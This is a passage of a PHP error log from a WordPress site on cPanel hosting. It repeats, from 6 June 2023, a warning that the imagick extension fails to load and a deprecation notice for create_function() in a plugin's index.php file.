No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:27:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:28:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:28:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:29:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:29:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:29:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:29:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:30:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:30:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:31:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:31:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:32:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:32:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:32:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:32:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:34:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:34:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:34:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:34:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:35:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:35:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:35:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:35:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:36:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:36:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:36:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:36:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:36:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:36:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:37:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:37:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:38:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:38:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:42:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:42:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:43:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:43:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 12:28:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 12:28:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 13:29:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 13:29:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 14:30:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 14:30:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 14:46:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 14:46:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 14:48:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 14:48:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 14:59:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 14:59:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:02:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:02:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:04:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:04:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:10:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:10:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:14:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:14:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:18:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:18:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:21:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:21:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:28:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:28:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 15:31:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 15:31:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 16:32:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 16:32:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 17:33:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 17:33:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 17:48:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 17:48:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 18:34:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 18:34:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 19:35:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 19:35:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 20:36:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 20:36:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 21:37:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 21:37:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 21:44:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 21:44:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 21:49:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 21:49:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 21:55:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 21:55:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 21:58:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 21:58:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:00:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:00:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:17:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:17:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:22:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:22:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:27:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so 